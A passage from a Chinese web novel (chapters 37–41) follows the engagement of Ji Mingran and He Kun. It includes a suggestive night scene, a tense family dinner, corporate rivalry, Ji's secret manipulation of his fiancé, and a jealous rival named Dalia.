余下一条仅供单人而过的夹道,种类不同的群花如同从地板与墙壁之间生长而出,水珠在花瓣上闪烁流转,延至花海尽头,颜色逐渐艳丽,最终变成那人手中一点糜颓的红。 空气里浮着冷香,这样的冷意与窗外属于秋的萧瑟截然不同。 每束每朵都被安排在最合适的位置,它们静默无言,却载满无尽的爱意,无不彰显着,这场盛大的无声只为一人而设。 而这个人的名字,叫做纪明冉。 贺琨穿着白色西装站在那端,纪明冉一眼便知,那套西装是游轮晚宴的第一夜,自己出席时穿着的品牌。 这是那个品牌的定制系列,贺琨身上的便是唯二的另外那套。 那晚,纪明冉的胸花采用了船票版面主题色,蓝色玫瑰。 今夜,贺琨选择的是红色玫瑰,也是他身上唯一浓墨重彩的颜色。 贺琨的绝对赤诚,将纪明冉的卑劣照得一览无余。 晚风从宽敞的阳台送入,每阵清香,都是贺琨至纪明冉的献词。 贺琨早就适应了黑暗,在纪明冉没有回来时,搬运的工人以及花艺师走后,他仍旧一刻也停不下来,始终悄无声息地忙碌着,总觉得哪里还不够好。 但实际上一切都已经几近完美。 贺琨想忙碌起来,借此转移会注意力,好让心跳不再那么快。 可听见门被推开的那刹那,他还是没把握地焦灼着,漫天的花似乎感受到了他的心意,盛开得更加艳丽。 灯光下,贺琨努力地调整呼吸,像往常一样。 “surprise,今天你回来的好慢,我等好久。” 纪明冉轻轻脱手,他的怀中,那捧显得渺小得可怜的花束掉进满屋的花海里。 他慢慢走到贺琨身前,颤抖的指尖出卖了他的情绪。 纪明冉看见,贺琨的那双眼睛里盛满的,依旧全部是自己。 他抬手抚上贺琨的脸颊,缓缓遮住贺琨的双眸。 在不被发现的地方,丢失很久的爱再次滋生又泛滥,铺天盖地回归,却沉默不语,全都被纪明冉挤压在胸腔里,随着呢喃微震。 “你知道吗?你是全世界最痴的傻子。” 第38章 第三十八章求婚代价贺琨摇头,像是…… 贺琨摇头,像是在拒绝承认纪明冉的言论,他试探着缓缓凑近,两人的呼吸熟稔的纠缠。 鼻息萦绕着独属于纪明冉的木质冷香,就算是在层叠蔓延的花香中,他也能清晰辨认。 纪明冉的手掌依旧轻遮在眸上,贺琨在一片黑暗中仰头,献上了最诚挚的吻。 不同昨夜许久未见那般,两人的亲密染满灼热欲望。今晚贺琨很纯情,他先是轻柔地舔舐,暧昧地吮咬,直到纪明冉将他完全纳入怀中,占据主动权。 纪明冉主导的动作不知为何很恶劣,较贺琨的温柔缠绵,更像是一种爱狠了的发泄,探进口腔中的舌头温度,与纪明冉的体温相同,对于贺琨来说总是更加温凉的。 他先是肆无忌惮地挤占那本来就狭小的空间,然后霸道地含住贺琨的舌,将其吮吸得直发麻,还故意地发出暧昧的声音,将最后的纯情搅得丝毫不剩。 贺琨有些晕乎了,他抵住纪明冉的胸膛想获得片刻喘息的余地,结果怎样都无法将人推开。 每到这个时候他总是有些不能理解,为什么冉冉能和上一世变化那么大。 “唔唔够了、够” 贺琨受不住了,好不容易找着空隙的时间,他不住地摇头,方才含糊吐出半句,又被纪明冉掐住软颊,连最后合上牙关的主权都失去了。 两人之间的温度开始变得迷情灼热,贺琨觉得自己浑身沾满了两人刚沁出的汗水,所有被碰到的地方都变得又湿又黏。 纪明冉还在恶劣地索取,嘴巴依旧被用力地来回亵玩。 怎么办,好像要被吃掉了 贺琨眼皮变得又薄又红,脑海中突然冒出这个猜测,那双素日冷戾的双眸泛出可怜的泪水。 明明生了一副张扬傲慢的冷淡模样,此刻的表情却格外脆弱无助,让人迫不及待地想将他彻底征服。 “不亲了啊嗯” 他放弃抵在纪明冉胸膛的手,转而拽住那只挤住自己双颊的劲手,原以为很快就要挣脱,却没想到转眼就被乘虚而入。 纪明冉怎么可能会放弃这样的好机会,两人中间的微弱阻力消失,他直接将人压紧入怀,贴着贺琨的唇,含糊暧昧地说:“还没够呢,宝宝。” 贺琨才得以缓和半口气,还没弄懂纪明冉话中的意思,结果再次被圈入怀中亲咬,他感受着两人身体的变化有些害怕,纪明冉今晚疯得够呛,他不住地往后缩缩,意图挪开臀部。 对面却轻声哼笑,贴上贺琨的耳鬓厮磨,低沉沙哑的声音直往耳朵里灌。 贺琨不由打颤,偏头露出脆弱的侧颈,躲避着五感过满到无法承受的亲昵。 “阳台秋千,还是餐厅‘吃’你准备的晚餐?”纪明冉手往下滑动,摸到了贺琨固定衬衫的腿箍,更加恶劣道,“西装别脱,我想看。” 纪明冉的声音如同过电般,内容更是不容细想。 贺琨脸色涨红,上一世他也喜欢在这样贴着承受方说些撩拨的话,并且丝毫不觉得有什么不好的,现在贺琨却只想把纪明冉的嘴封上。 纪明冉说的,他一个也不想选,贺琨用力挣扎起来。 毕竟是成年男子力气不小,纪明冉没有防备,竟然真的让贺琨从怀中逃出去了。 他盯着贺琨,如同看着突然逃跑的猎物,目光阴沉而充满欲望,嘴上却噙着悠闲的笑。 “阿琨要去哪?” “嗯?” 压迫感极强,贺琨往后缩了缩,吞咽口水,缺氧的脑子反应了一会,“我还没求婚,冉冉。” 纪明冉看着贺琨,舒展的洁白西装上已经多了些不自然的皱痕,面色已经染上一层薄红,嘴唇更是从淡粉变成了不自然的红,透着被欺负狠了的水光。 明明刚才还在哀求着摇头,现在却依旧记吃不记打,表情好认真地说着要向自己求婚,可爱得令人无奈。 想着这场求婚背后的阴谋,纪明冉胸口微微抽痛,他强行将不适的感觉忽略,再次朝贺琨走去。 意味深长的语气里满是恶意,表情却很是苦恼,“只好看阿琨今晚的表现了。” 贺琨是在卧室醒来的。 他昨晚睡着的时候已经累极了,连公寓什么时候被清理干净都不知道。 他缓缓坐起,将宽松的居家外袍系上,将厚重的遮光窗帘打开。 午间的阳光穿过指缝,有一圈柔和的光辉,光源正是指间那枚素金戒指,以极简线条勾勒,表面打磨得温润。 回忆涌上心头,贺琨还记得昨天晚上,他努力地配合冉冉,折叠或固定身体动作,想去完成要求,可是总会有新的要求。 “嗯?又在偷懒了啊” 回应纪明冉的是几声哭腔与闷哼,贺琨浑身酸软脱离,他看着纪明冉睁着眼睛胡说,可连为自己争取权益的力气都没有了,只能被机械地摆弄。 “我看,阿琨也不是很想订婚。” 最后一个字随着动作咬得格外重,纪明冉双颊泛着不正常的红色,向来温和的面容微微扭曲。 贺琨没有办法,双手双脚酥麻,如同被灌铅般沉重,又只好无助地配合起来。 纪明冉轻啧,恶狠狠地接替贺琨脱力了的手臂动作,毫不怜惜地压住那双肌理匀称的腿,发狠故意往脆弱处去,感受着,然后更加兴奋。 进入了后半夜才结束,贺琨已进不行了,纪明冉才牵起他无力的手臂,将戒指从戒指盒内取出,为几乎失去意识的贺琨戴上,“晚安,未婚夫。” 卧室门被推开的响动,打断了贺琨的思绪,原本带着凉意的戒指也因为昨夜的事变得滚烫。 纪明冉穿着白色丝绸居家服,系着浅咖色围裙,眉眼温和:“吃早餐吗?或者应该说是午餐?” 贺琨手还搭在窗前轻盈的白纱上,闻声抬头,就看见纪明冉浅浅笑着,迎着窗外阳光,整个人渡上了浅金色的光辉。 似乎已经过上了最想要的生活,贺琨眼眶有些热,他赶忙移开视线,往洗漱间走。 “咳咳,好,你先,我去洗漱完就来。” —— R国,罗德山庄。 为首的女子身着利落的黑色战术射击服,高领设计贴合脖颈,腰部束带勾勒出纤细线条。 头戴耳罩隔绝喧嚣,防风镜将立体明媚的五官衬得更加锐利,带着专业手套的那双手稳抬枪身,作战靴稳稳扎地,周身散发着专业且冷冽的气息。 “砰——” 子弹飞出,正中靶心。 达莉娅满意地勾起嘴角,利落地将耳罩取下,带下几缕金色的发丝微垂脸侧,多了几分潇洒。 “什么事?” 她余光扫过来人,从恭敬低着头颅的女仆捧在手中,举过胸前的托盘里取了一方浸润着淡雅清香的湿巾,擦了擦额角的汗水,又丢回去。 黑色衣服的男人微微鞠躬,清晰道:“达莉娅小姐,那边传来消息。” 她接过英俊的青年侍者手中的报纸,满是异国的语言,还附加了一些照片,主角无疑正是纪明冉。 纪明冉订婚了,和一个男人。 达莉娅记得这个男人,叫个贺琨,气质凛然出众,在那个国家平均长相柔和的人群中,格外令人记忆深刻。 一双锋利的眉眼略带下三白,似乎看谁都带着不耐烦,尽管脾气已经够沉默稳重,却依旧压不住骨子里与生俱来的傲气,唯有看向纪明冉时,才会染上柔情与乖巧。 在游轮上最后那次晚宴上,以及璨明大剧院前,她和他都有一面之缘。 纤细雪白的指尖轻盈地点了点照片上的两人。 纪明冉撑着把黑色的雨伞,隔绝了外界与雨水,两人眼中充满笑意,侧头相视,很是亲密。 应该是狗仔拍的,角度挑得不错,看起来两个人都深情款款。 但是达莉娅不信。 纪明冉这样冷血的人,怎么可能拘泥于情爱,连她的舍命相救在他眼中也不过是一文不值。 虽然是她设计的那又怎么样?总之那些人每次都会欺负纪明冉,她不过是助推了一把,本质上有什么区别? 那些追求刺激的青年把纪明冉捆绑在树上,但最后她也出手救了他不是吗? 达莉娅摸了摸肩头的白色疤痕,喜欢一个人就是要想尽办法的靠近,手段强硬些没关系,只要是真心喜欢不就好了。 青年侍者看着年轻美丽的小姐陷入了沉思有些不甘心,明明他才是忠心耿耿地跟了小姐那么多年的人。 可是小姐眼中却只有那个坏种,那样的男人有什么值得惦念的,除了异国风格的漂亮皮囊,什么都没有。 小姐若是找一位年轻英俊的绅士恋爱结婚,他都不会有那么多抱怨牢骚。 “达莉娅…” 他鼓起勇气叫着小姐的名字,声音略微沙哑,单手背在身后,另一只则牵起小姐雪白修长的手,将轻吻落在达莉娅手背。 达莉娅没有说话,只是反手贴在了弯着腰的英俊侍者脸侧,漫不经心道: “吃醋了?别急,甜心,今晚去房间帮我按摩好吗?背好酸哦。” 低着头的侍者看不见达莉娅出神的视线,只听见婉转动听的嗓音,如同羽毛在心间轻挠,耳尖很快泛红。 “小姐,那我先去准备。” 侍者说话间,欲图取走达莉娅手中的报纸和那些照片,不想再让小姐关注此人。 没想到动作却被达莉娅轻盈地躲开,随后他听见小姐笃定地吩咐。 “真听话,订机票吧,明天我去找明冉。” 第39章 第三十九章老婆真好“明冉,你…… “明冉,你和小贺这动作也太迅速了吧,三姐没出差多久吧?这才回来没几天,你们都订婚啦?” 说话的人正是前段时间出国拍戏的三姐纪禾。 一段时间未见,看起来更加潇洒了,秀丽的眉宇间是纪家人身上少有的自由,说话时下颌微扬,金属耳坠随着声线轻晃,笑容明艳夺目,穿搭前卫时尚。 她打量着贺琨,热情又亲和,完全没有架子。 今天是纪家例行聚餐的日子,除了依旧处于昏迷中的纪父,以及在医院照顾他的何姨,大家意外到得很齐。 都像是专程来见见纪明冉未婚夫贺琨,毕竟二人的订婚消息发布得太突然了。 贺琨本人低调,又无心经商,各种宴会基本只有贺青峰出现,早些年还能听说些花边传闻,随后便完全沉寂了,和纪家的人都没有什么交际。 餐厅穹顶悬着枝形水晶吊灯,千盏琉璃折射出碎钻般的光。 纪夫人端坐在首位,而平时本属于纪夫人自己的位置,却坐着纪行思。 纪家多年一直遵循着老辈那些森严的规矩,不管是论年龄还是资历,纪行思本来都是应该坐在末席的,可是他偏偏没有,这就很尴尬。 因为按照纪行思更尴尬的身份,想要在纪家好好长大成人,然后成家立业,那么前期定然是越低调越好。 今晚做出这般显目的行为,想都不用想,定是听从了纪夫人的安排。 光从这明显的层面考量,都能看出站在他身后的纪夫人对掌权位,那是势在必得。 纪明冉拿起公筷,从缓缓转动的餐桌上夹起块香柔无刺的鱼肉,放在贺琨的碗中,才回答纪禾道: “三姐这次进组许久,小威尔前几天刚选了自己的小马,转眼都是学骑术的年纪了,我也应该结婚了。” 他笑着说完,视线移向威尔的父亲纪柏达,像个单纯关心侄子的温和小叔。 纪禾十分喜欢这个小侄子,立马被纪明冉转移了注意力,一同转头看向纪柏达:“是吗?柏达,明天我带小威尔去马场玩!” 纪禾说完,悄悄撇了眼纪姝,原本一时兴起的开朗模样变得谨慎讨好,轻轻柔柔地说:“姐姐,长仪可以去吗?我一定会照顾好她的。” 贺琨原本默默埋头吃饭,可这个风格转变实在突兀,他不由地将目光投向纪明冉的大姐纪姝。 纪姝依旧淡然寡言,一袭法式真丝白裙外搭淡黄色外套,头发低绾,戴着整套的珍珠配饰。 感受到众人的视线,她放下手中的筷子,没有搭理纪禾,反而看着主位上的纪夫人。 “真是不巧了,明天我要和夫人一起去北城寺庙为父亲祈福,还听说最近来了位大师讲经,正巧听听。” 纪禾问的是长仪,纪姝答非所问,但是说辞中的拒绝之意已经溢于言表,她的目光再次黯淡,但却没有气馁。 贺琨觉得其间有故事,在末席借着添菜,凑近纪明冉声音小小地问道:“什么情况?” 纪明冉眉毛微挑,停下筷子:“哦,今晚第一次给我主动添菜,原来不是出于关心。” 他还没来得及反驳,纪明冉抢先补充:“果然得到的就不被珍惜,世风日下,人心皆凉。” “可是——” 贺琨的话才出口半句,就被打断,说话的人是主位上的纪夫人。 “明冉,你哥哥姐姐们都在呢,你们现在的年轻人就是等不得一时一刻的。” 两个人在末席说着悄悄话,纪夫人看在眼里心烦得不行,本来现在就是关键时期,纪明冉这小子还捡了场天大的好婚事。 她没法做主退婚,所以订婚消息公开后,一直到今晚正式见面,她都没给过贺琨好脸色,满心期待着纪正源赶紧醒来,最好也不喜欢这桩婚事。 纪夫人此刻点名纪明冉,就是纯粹的挑刺,她不过是随便借着个由头,夹枪带棒地发泄着心中的郁闷。 贺琨首次来纪家,也算半个见家长。 来的路上,纪明冉简单说了点纪家的事,最后叮嘱他道,纪家这一桌上的人,每个单拎出来都长了八百个心眼,如果有什么不对付,往他头上推就好。 但是见纪明冉被骂,贺琨还是有点不爽,他默了默,目光移到坐在主位左侧的纪行思身上,忽地扬起玩味笑容斜睨过去,带着几分过去不可一世的桀骜模样。 “伯母,伯父也还在医院养身体呢,我看您也等不了一时半刻的。” 满座的人先是震惊,他们在这屋檐下虚与委蛇了一辈子,还没见过贺琨这样直来直去的爽快怼法。 但众人心里都清楚贺琨的意思,纪柏达先是直接咧开了嘴,然后又赶紧回避着闷笑。 其他人眼中也前后不一地染上了半分讥讽的笑意,只是有的明显,有的内敛。 纪夫人的脸色是白了又红,红了又白,直勾勾地怒视着贺琨,要发号施令地赶人。 纪明冉本打算自己解决的,没想到贺琨却更快地站出来为自己说话,他注视着身边的人,看似清冷疏离的表面下,心口猛然跳跃,似乎意味着一场再次沦陷。 他顾不得应付了,于是在纪夫人发话前,直接拉起贺琨离席,“大家请慢用,我和阿琨还有事,先走一步。” 车辆在夜色下,从西郊流畅地滑入市区。 今夜的雨势较前几日都更大,道路上行人不多,耳边只剩下沉闷的雨点声,车内安静宁和。 路边的灯光透过沾着雨珠的车窗,带来微弱的光,斑驳陆离,迷离涣散,又很快远去。 纪明冉将车载音乐拨到最低音量,“不怕纪夫人报复?” 贺琨睁开眼,靠在椅枕上转头,他借着微光看着驾驶着车辆的人,眼里是深不见底的迷恋,可惜无人发现。 他想了想,认真回复:“还有比这更可怕的事,相比起来,也显得微不足道了,冉冉。” 药片是白色的,每天都要吃,副作用很大,但是会让人变得很平静,像是,像是什么也感受不到了。 但是贺琨不再孤单了,纪明冉活着,呼吸顺和平静,始终陪在他身边,是他的未婚夫。 纪明冉有些困惑,反应了几秒才道:“嗯?还在想你哥的事情吗?” 贺琨没有解释,只是顺着纪明冉的话题,“嗯,也担心哥哥。” “别怕,我已经加派人手了,不论如何我都会把人带回来,让他给你说清楚。” 在求婚后的第二天,贺琨便拿出那封邮件给纪明冉看。 他猜得果然没错,寄来邮件的人就是宋榄。 纪明冉了解贺琨,他没有立马抹黑贺青峰,而是顺着贺琨的想法,循序渐进地离间兄弟二人。 无论从哪个角度出发,他都不希望贺琨心中有比自己更重要的人。 纪明冉哄骗贺琨说是在找人,实则暗中操纵调查的走向,为宋榄清理痕迹。 贺琨闻言点头,甩去心中的烦忧,回到当下的时间,凑上去给开车的人献了一个吻,落在侧颊。 主动权久违回归,他觉得自己又行了。 “老婆,你对我真好。” —— 纪贺联姻的消息不胫而走,传得沸沸扬扬,很快纪明冉和贺琨便在公开发言的提问环节中大方承认,算是彻底坐实。 集团内还在跟风观望的部分高层听闻消息,在摇摆中加入了贺琨一派,那可是纪氏啊。 贺荣炜连连失利,最近火气大得头发都白了好几根。 “你要不要自己看看,公司雇佣你,是让你来生产垃圾吗?!” 贺荣炜将报告砸在汇报的年轻人身上,发出闷沉的响声,随后白纸哗哗四散开,落了一地,年轻人吓得赶忙弯腰蹲下,将纸张快速地收拢捡起。 “给你1小时重做,做不好就准备被辞退,出去吧。”贺荣炜揉了揉眉心,下了最后通令。 年轻人很快出去,贺荣炜站起来走到窗前点烟,身后再次传来敲门声,他以为是刚才来汇报的年轻人,低头看了看腕表。 “我不听废话,不想干就直接滚,你还有57分钟。” 来人先是愣住,随后才道:“贺总,是我。” 贺荣炜听见熟悉的声音转身,来人是他的助理,他面色自然地回到办公桌前坐下,“什么事?” 助理幸灾乐祸地答复:“贺琨的项目出问题了,而且怕是大问题,您看。” 贺荣炜半信半疑地接过助理手中的报告,越看越眉飞色舞,他最后冷笑道:“风投市场这两年本来就不景气,那么大胆的创新项目,我看那些废物墙头草能不能给这个黄毛小子兜底。” “产业链上游的资金和供应源都断了,不死也得掉层皮,这么大的决策失误,就等着被董事会除名吧。” 助理顺着贺荣炜的口风,再次狠狠地“踩”上两脚。 贺荣炜听得满意极了,想了想又道:“走,上楼,看看我们的小少爷现在什么模样。” 楼上,贺琨坐在会议室听完汇报,紧紧锁住眉头,坐在他身边的高管来回翻阅几遍依旧道: “不可能,贺青峰先生还在时,多次演算分析不应该是这个结果。” 他依旧无法接受,显然对现在的情况十分质疑,而且不理解。 对面的女士相比起来更加冷静,她还是像那天在大会议室那般的果决。 “没有不可能,市场变幻莫测,眼下是如何解决问题,这个项目本身高风险高回报。” “现在投入资金过多,短期内肯定会受到冲击,要确保集团资金链正常运转。” 贺琨认同点头,指尖叩击着报表。 “现在不是赌运气的时候,大家督促协调各部门控制风险扩散,立刻冻结非核心项目,在下周前必须把风险敞口控制住。” 半小时后,会议结束。 贺琨最后走出会议室,觉得领带勒得慌索性解开,回到办公室却发现灯是亮着的。 他心中诧异,进门却看见位不速之客。 第40章 第四十章疑似出轨贺荣炜坐在贺琨办…… 贺荣炜坐在贺琨办公室的皮质沙发上,双脚交叠,搭在小茶几的边缘,悠闲地抽着香烟,仿佛他才是这间办公室的主人。 听见贺琨进门的声音也依旧丝毫不动,带着褶皱的眼尾慢悠悠地扬起,一副小人得意的表情。 贺琨自然明白此人是来落进下石的,于是也毫不客气:“荣炜叔这是,演都不想演了?” “你们这些年轻人,说话就是让人听不懂。” 贺荣炜自然是听懂了,但是依旧拿着资历辈分一而再再而三地强调,他将烟灰往地上一弹,满地落上黑灰的烟烬,散发着浑浊的气息。 “小贺你啊,还是太年轻,沉不住气。” 贺荣炜前段时间派人四处调查,直到安插进线人才得知,贺青峰哪里是在疗养院线上办公,而是出了车祸,直到现在都还在重伤不醒。 知道这个消息,可给贺荣炜开心坏了。 贺琨年纪轻、经验不足很难服众,加之这次重大的决策失误,只要贺青峰始终昏迷着,迅科早晚都会由他接手。 那么集团出了篓子肯定不能放任不管,毕竟在贺荣炜眼中,这已是囊中之物,但是他也不想那么轻易地就出手。 总之,他想要看见的就是贺琨卑躬屈膝地服软求饶。 所以,打从坐进这件办公室开始,贺荣炜就表现得高高在上,悠闲惬意。 可是贺琨却不按常理出牌,丝毫不留情面地说道:“没有您沉得住,这些年被不少小辈压在头上吧,没有能力当然只有憋着。” 贺荣炜原本以为贺琨会来讨好自己,可是没想到贺琨依旧不知死活,给他气得胸口闷疼。 他站起来盯着年轻的贺琨,表情愤怒而阴郁。 贺琨摇头讥笑,这下连目光也懒得落在贺荣炜面上,只是风轻云淡道:“荣炜叔,心脏不好就少到处惹事,真说你一句,你又不开心。” 他撇了眼被烟头刻意烫出洞的沙发,以及满地的烟灰,像是再看幼稚的小把戏。 “哦,对了,这间办公室您要真喜欢就搬来吧,给您了。” 贺*琨转身离开,身后传来破防的怒骂。 “我看你怎么收场!到时候你就算哭着跪着来求我,我也不会帮你!” —— 纪明冉半夜到家的时候,卧室空无一人,书房的灯却还亮着。 他当然知道发生了什么,于是眸光微转,整理好情绪走到书房,体贴地敲了敲才往里走。 “怎么今晚又忙这么晚?” 贺琨从资料堆中抬头,带着眼镜的视线晃了晃,夜晚视物有些重影,看起来有些木愣。 他强迫自己将紧绷的情绪放松下来,对着爱人柔和道:“项目出了点问题,最近可能都要加班。” “是吗?需要帮忙吗?”纪明冉眼神晦暗,注视着贺琨。 贺琨杵着下巴想了想,站起来走到纪明冉面前,哗地抱住来人的腰身,将头埋入其颈间蹭了蹭,呼吸间全是清浅熟悉的木质香。 “给我抱抱,很快就好。” 像只被抛弃的可怜小狗,没人照顾,呜咽地跑进罪魁祸首的怀中。 纪明冉错愕后很快扬起不明的笑容,他感受着贺琨暴露的脆弱与依赖,全然不知自己抱住的正是所有不幸的源头。 事到如今,已经没有退路了。 身为恶人的纪明冉完全没有自知之明,享受着贺琨的投怀送抱。 他加重力量,将人更加紧实地按入怀中,双臂故意收紧,由于被突然地挤压胸腔,贺琨被勒出闷哼。 纪明冉又佯装好心,温柔低头询问:“怎么了?” 他啄吻着贺琨的额角,动作满是柔情,眼神却满是可怕的占有欲。 “不怕,无论是什么,我都帮你,我们是夫夫了不是吗?” 纪明冉牵起贺琨的手,放在手心里轻捏,成对的戒指象征着忠贞。 “相信我,阿琨。” 贺琨在那双如水的眸中,微微点下了头。 —— 纪明冉出手利落又漂亮,带着与生俱来的天赋,似乎没怎么花费力气就将项目重新拨乱回正轨。 贺琨本来也就不热衷于经营,看见就厌烦,有纪明冉在背后坐镇,开了先例后,他索性放手,又成为坐等分红的闲散少爷。 每天捧着各地的建筑历史研究,写写论文,研究课题。 基本在忙碌着与专业相关的事。 就连蒋斌师兄都调笑着说,贺琨真是找了位好对象,命里就是不用干活的。 周三晚,贺琨揉着微酸的肩颈从书房出来,家政阿姨已经将饭菜烧好,收拾好屋子刚要走。 吴姨做饭好吃,性格老实,做事利索干净,自从贺琨搬到此处,在冯平考核后,便一直雇佣她负责日常的家政服务。 “贺先生,饭菜准备好了,我正要去叫您呢。”吴姨将冰箱收拾整齐,热情地笑着朝贺琨说。 “好,没什么事就先回去吧,谢谢吴姨。” 吴姨满脸洋溢着笑容,连续点了几下头,又随口问道:“纪先生今晚不回家吃饭吗?” 说到纪明冉,贺琨看着手机愣了愣神。 冉冉最近格外地忙,已经好几天不见人影。 “他公司最近事多,应该不会回来了。” 吴姨似乎想到什么,揉了揉手中的布袋,顿了一下点点头:“哎,哎确实是,纪先生本事强,可不得忙些。” 贺琨礼节性地笑笑,坐到餐桌前准备吃晚餐。 除非特意叮嘱,吴姨通常都做两人的份量,今晚看来又是他一个人吃了。 短暂地寒暄几句后,吴姨见贺琨没有多说的意思,简短道别后便回到保姆房换回自己的衣服,准备离开。 她打开公寓供给家政人员平日进出使用的小侧门,正想掏出手机给丈夫打个电话,好买些蔬菜水果回去。 结果左右都摸不到手机,想是落在哪了,只好再次返回。 贺先生一人安静地坐在餐桌前,吃着双人份的晚餐,吴姨欲言又止,想起岗前反复培训的注意事项,话头在嘴边打了个盘桓,又被咽回肚子里。 贺先生似乎在打电话,咀嚼着口中的食物,缓缓说道:“冉冉,今晚回来吗?订婚宴席的名单发给肃山确认吗?” 贺先生安静下来,似乎在听对面的答复,过了几秒再次讲话,染上了极分失落。 “不回来了吗?嗯好好的,知道啦。” 吴姨看不下去了,贺先生年纪小,20出头还读着书呢,一看就是个老实孩子,和自己女儿同样的年龄。 等贺先生彻底将电话挂断,她装作找手机的模样走进厨房。 “贺先生,实在不好意思,我手机落了,回来取一下,”见贺琨点头,她继续道,“前几日收拾到纪先生订购珠宝的单子,原来是您们要订婚了,恭喜恭喜啊。” 贺琨执筷的动作在半空中微微停滞,订婚戒指是很久之前买的,贺琨不喜欢收藏珠宝,纪明冉也并未在近期送过他相关礼物。 “谢谢吴姨,到时给你封红。” 吴姨只能提醒到这里了,毕竟有权有势的人有些花边的事,总是再正常不过。 纪先生看起来光鲜亮丽的,没想到还是逃不过俗的那套。 她装作只是聊了个再普通不过的天,马上笑着摆摆手:“不用不用,贺先生客气了,您慢慢吃,那我先走了。” 吴姨说完,在贺琨的默许下再次离开。 贺琨将碗筷放下,说实话他是不相信纪明冉会外遇。 从19岁醒来开始,他便始终关注着纪明冉,冉冉从来没有过暧昧的约会对象,整个人几乎全身心扑在了事业上。 虽然是这么个道理,但是占有欲始终在拉扯,贺琨不安心。 他给冯平发送消息,很快一条购买记录出现在邮箱里,连带着珠宝的展示照片。 明显是套女士珠宝,宝蓝色主调。 项链上椭圆的蓝宝石漾着幽蓝的波光,周围镶嵌着碎钻环绕,白金链身勾勒出优雅的弧线,耳坠则是水滴形的同色垂坠。 贺琨将手机屏幕缓缓熄灭,黑色的屏幕上倒映出半抹微笑,弧度温和,却格外渗人。 他承认自己是个贪心的人,开始时只想要纪明冉停驻的目光,然后慢慢地连相拥也不满足。 似乎只有完全拥有,才能填满那颗永远叫嚣的心。 —— 坤和集团,高楼之上,宽敞明亮的单间办公室。 纪明冉站在窗前,俯瞰整个城市,挂断贺琨的电话后,他瞬间收起笑容。 贺氏的项目已经完全被控制,已经不会成为威胁,而是变成为他事业铺垫的踏板。 白塔研究中心的最新消息持续更进,向好发展。 至此,躯体机械化改造会在未来很长时间内,都由他一手创立的公司所垄断,在医疗、军事、甚至娱乐等各行各业不断更新演进。 纪明冉嗅到了第六次工业革命的浪潮气息,即将在这个时代掀起,而他则会永远地书写在历史的这册。 他收回视线,看着自己指间的戒指。 至于贺琨,纪明冉也要,而且他们很快就会完婚。 是贺琨先纵容的,不是吗? 40-50 第41章 第四十一章唯一例外深巷,安静的咖…… 深巷,安静的咖啡馆。 墙面嵌着复古铁艺花架,爬满常青的绿萝藤蔓,暖黄灯光从玻璃橱窗内溢出。 布艺沙发上堆着几个柔软的靠垫,空气里漫着咖啡豆的烘焙香。 靠近大书架前的木桌前,坐着一男一女。 其中的那位女士是外国面孔,那双宝蓝色的眼眸如夏日海面碧蓝纯净,金发弯曲卷成波浪,自然地搭在肩头。 达莉娅雪白的指尖有一下没一下地卷着垂落的金丝,她认真地看着坐在对面的青年。 亚麻色粗条纹毛衣,银色的拉链开到胸口处,微微露出白色圆领,冲淡了长相的攻击性,增加了些许清冷厌世的矛盾气质。 咖啡馆的侍者走近,挂着歉意的微笑打断两人,他端着托盘,另一只手逐次将两杯咖啡轻放在桌面上,然后无声离开。 “我以为还需要段时间,你才能发现呢。” 她摸上颈间的珠宝,是刻意戴着来与贺琨见面的,尽管与咖啡馆的休闲的氛围有些格格不入。 贺琨默不作声地看着达莉娅的动作,他记得在游轮最后的晚宴上,达莉娅似乎提过她于纪明冉有恩,可是具体是什么,他至今也不知道。 贺琨本来不打算出面的,直到冯平告诉他,那套宝蓝色珠宝最终归属于达莉娅。 他才特地亲自赴约,目的便是打算为冉冉彻底还清这个恩情。 贺琨看着达莉娅刻意展露珠宝的动作,随后移开视线,与达莉娅对视:“你的目的是什么?” “我希望,你不要和纪明冉结婚。”达莉娅说罢,俏皮地朝贺琨眨了眨眼睛。 “不可能,”贺琨先表明态度,他来之前也看过达莉娅的情史,转而循序渐进地说:“达莉娅,他于你而言不过是个有挑战性的、还没过期的玩具。” “你并不是真的喜欢他,他也不喜欢你,仅此而已。” 达莉娅眼底瞬间划过黯然,可再昂起头颅时,依旧是那副高贵而不可侵犯的模样,如同放下所有过往。 自从纪明冉的订婚到消息传到庄园,第二日她便乘坐飞机来找纪明冉。 她以为最起码可以得到一个机会见面,然后坐下好好谈谈,达莉娅不相信纪明冉当真对她半分情谊都没有。 结果现实十分不留情面,她连见纪明冉的面都难。 事实证明他们两人之间确实什么都没有。 就这样拖延着,直到前段时间,达莉娅才好不容易通过灰色渠道,打听出纪明冉的行程,总算在一场拍卖会上,成功将人堵截。 她穿着雪白的长裙,展开双臂拦住纪明冉的去路。 “喂,这就是你对姐姐应该有的态度吗?” 纪明冉总算用正眼看向达莉娅,眼神如冰,像是才发现这个人的存在。 “如果你终于摆正位置,就请不要再做多余的事,姐姐。” 他低下头看了眼时间:“而现在,我还有事要忙,能麻烦您让开吗?” “多余?我给你发了那么多消息,打了那么多电话,你有看过吗?你看都不看,怎么知道多余?” 达莉娅往后撩拨垂下的几缕发丝,随后抱臂仰头看着纪明冉:“我对哪位约会对象,有比对你更用心?” “所以,我们不是一路人,达莉娅。”纪明冉直接绕过达莉娅往前走,丝毫没有停留。 达莉娅不可置信地瞪大眼睛,她站在廊中:“纪明冉,当年是谁不顾危险将你救下的!” 纪明冉的背影挺括而冷漠,达莉娅只听见他冷冷哼笑。 “达莉娅,那件事到底是谁策划的,你比谁都清楚。” 达莉娅听见这句话,心口猛然坠落,巨大的失重感让她忽地愣在原地。 是的,她比谁都清楚。 因为把年少的贺琨绑在树上这件事,就是达莉娅安排那几个青春期调皮小子做的。 她胳膊上直起鸡皮疙瘩,连着头皮也发麻,失去道德的制高点,她的声线变得微发抖:“你,你什么时候知道的?” 纪明冉侧身,微微偏头,狭长的眼眸投出锐利的视线,如同冰冷的刀锋刺透达莉娅。 “第二年,不过还是谢谢你那年的随手接济。” 达莉娅彻底愣在原地,直到纪明冉离开很久,都没有动作。 “日后,我不想再听见你提起此事的半个字眼。” 这是纪明冉留给她的最后一句话,附赠的就是这套拍卖会上最昂贵的珠宝,买断了所有。 直到那时达莉娅知道,她和纪明冉之间,原来从开始就不存在任何可能。 纪明冉那样的人,眼里应该容不得半分虚假吧。 达莉娅从记忆中回神,贺琨说得对——“你并不是真的喜欢他,他也不喜欢你,仅此而已”。 大部分确实属实,她呵呵笑起来,拿着小勺将桌上的甜点挖起小块尝了尝。 “嗯确实,但你该不会认为纪明冉喜欢你吧?” 